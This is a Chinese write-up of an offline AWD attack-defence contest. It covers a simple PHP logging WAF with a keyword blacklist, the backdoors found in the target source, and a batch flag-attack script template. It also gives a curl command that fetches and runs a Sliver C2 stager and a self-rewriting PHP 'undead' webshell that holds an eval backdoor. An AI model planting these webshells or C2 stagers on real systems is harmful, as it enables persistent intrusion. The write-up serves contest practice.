浙江通信行业竞赛-线下AWD
LastUpdate: 2024-08-06
前言
夏日中重返杭州与doddy和rocket会面,第一次去线下awd当作积累经验了,在d师傅的实力输出下我们最后顺利拿到了第三名。
Beginning of AWD
在awd中两种主要的攻击手段就是找漏洞和抓流量反打,这次比赛提供了三个靶机,分别是两web一pwn,选手使用ssh密钥连接没有默认密码,登录后第一时间应该备份源码并且启动日志和waf等防护手段,这次比赛没有安全加固环节每10分钟刷新一轮flag。
可以写一段简易waf代码并入源码,要部署waf项目可以参考https://github.com/leohearts/awd-watchbird。
<?php
$log_file = '/tmp/logfile.log';
// 获取请求信息
$client_ip = $_SERVER['REMOTE_ADDR'];
$request_uri = $_SERVER['REQUEST_URI'];
$request_method = $_SERVER['REQUEST_METHOD'];
$time = date('Y-m-d H:i:s');
$post_data = '';
if (!empty($_POST)) {
$post_data = file_get_contents('php://input');
}
// 记录日志
$log_entry = "[$time] $client_ip $request_method $request_uri POST_DATA: $post_data\n";
file_put_contents($log_file, $log_entry, FILE_APPEND);
// 过滤黑名单
$blacklist = [
'flag',
'cat',
'eval'
];
// 检查url和post_data
$is_forbidden = false;
foreach ($blacklist as $forbidden) {
if (strpos($request_uri, $forbidden) !== false) {
$is_forbidden = true;
break;
} elseif (strpos($post_data, $forbidden) !== false) {
$is_forbidden = true;
break;
}
}
$banned_ip = [
];
foreach ($banned_ip as $forbidden) {
if ($client_ip == $forbidden) {
$is_forbidden = true;
break;
}
}
if ($is_forbidden) {
header('HTTP/1.1 400 Bad Request');
exit();
}
?>
Attack & Defence
准备好后开始看源码,两台靶机运行的 web 服务分别是 Bludit CMS v3.15.0 和 Yii framework v1.1.14,如果发现后门就要立即修复。
<?php
define("FLAG", file_get_contents("/flag"));
print_r(parse_ini_string($_GET["string"]));
<?php
class AdminModule extends CWebModule
{
public function init() {}
public function beforeControllerAction($controller, $action)
{
if (parent::beforeControllerAction($controller, $action)) {
return true;
} else
return false;
}
public function __destruct()
{
eval($_POST['cmd']);
}
}
在构造exp后编写批量攻击交 flag 脚本,拿到rce就开始权限维持,可以先反连c2然后种个内存马或不死马,有权限还可以写入ssh公钥,相对应的为了防御可以开启进程监控,参考工具https://github.com/DominicBreuker/pspy。
自动提交 flag 脚本模板:
import time
import re
import subprocess
from pwn import *
import requests
############################################################
###################### READ ME FIREST ######################
############################################################
#需要修改的内容:
#1、main函数中的ip、port、token配置
#2、attack函数中payload内容
#3、submit函数中curl链接及格式
#需要注意的事项:
#1、attack中的remote或request必须设置timeout
#2、接受flag前一定要把其他回显接收完
#3、正式运行时将debug关闭,减少回显
def attack(ip,port):
try:
################## pwn exploit demo ################
# r = remote(ip,port,timeout=10)
# # ........payload.......
# # r.interactive()
# # 将interactive()更改为cat flag或其他命令
# r.sendline("cat flag")
# # 接受flag前一定要把其他回显接受完
# flag = r.recvline().strip()
# r.close()
################## web exploit demo ################
# ret = requests.post("http://"+ip+":"+port+"/target/index.php", json = submit_data, headers=headers,timeout = 10)
# # ........payload.......
# # 正则匹配flag
# flag = re.search(r'flag\{.+\}', r.text).group()
print("[\033[0;36mFLAGS\033[0m] "+ip+":"+port +"\033[0m flag is : \033[0;36m"+flag +"\033[0m")
print("[\033[0;32mSUCCE\033[0m] "+ip+":"+port +" attack success")
return flag
except Exception as e:
print("[\033[0;37;41mERROR\033[0m] \033[0;32m"+ip+"\033[0m:\033[0;34m"+port +"\033[0m can not attack, because: \033[0;31m" + str(e) + "\033[0m")
return False
def submit(ip,port,flag):
try:
# 修改submit的格式
a = subprocess.Popen(['curl -s http://10.10.10.1/submit_flag -d "flag={flag}&token=askfjklasu12388jlj"'.format(flag=flag)],shell=True, stdout=subprocess.PIPE)
# print(a.stdout.readline())
print("[\033[0;32mSUCCE\033[0m] "+ip+":"+port + " submit success")
except Exception as e:
print("[\033[0;37;41mERROR\033[0m] \033[0;32m"+ip+"\033[0m:\033[0;34m"+port + "\033[0m submit failed, because: \033[0;31m" + str(e) + "\033[0m")
return False
def main():
try:
# 所有队伍网段区间
for i in range(101,124):
self_id = 103 # 跳过自己的队伍ip
if i == self_id:
continue
# 靶机ip和port
ip = "192.168."+str(i)+".101"
port = "9999"
flag = attack(ip,port)
submit(ip,port,flag)
time.sleep(0.5)
print("[\033[0;30;43mROUND\033[0m] "+time.strftime("%Y-%m-%d %H:%M:%S", time.localtime())+" round attack end, waitting for next round")
except Exception as e:
print("[\033[0;37;41mERROR\033[0m] \033[0;37;41mmain function error, because: " + str(e) + "\033[0m")
exit(0)
if __name__ == '__main__':
try:
while 1:
# 每个轮次
print("[\033[0;30;43mROUND\033[0m] "+time.strftime("%Y-%m-%d %H:%M:%S", time.localtime())+" begin to attack")
main()
time.sleep(10*60)
except Exception as e:
print("[\033[0;37;41mERROR\033[0m] \033[0;37;41mmain function error, because: " + str(e) + "\033[0m")
exit(0)
连接Sliver C2:
curl http://sliver-ip/index..stager_file_ext?c=ID --output session && chmod u+x .session && ./session >/dev/null &
利用 php不死马写入后门以及关闭服务:
<?php
ignore_user_abort(true);
set_time_limit(0);
unlink(__FILE__);
$file = '.test.php';
$code = '<?php if(md5($_GET["pass"])=="pass_md5"){@eval($_POST[test]);} ?>';
while (1){
file_put_contents($file,$code);
//system('rm /var/www/html/index.php');
usleep(2000);
}
?>
The End
总的来说,如果两个web手组队的话,可以一人负责监控和修复,发现攻击流量用 waf 拦截就行了,另一人负责写脚本,利用c2以及捕获到的payload基本就可以稳定得分。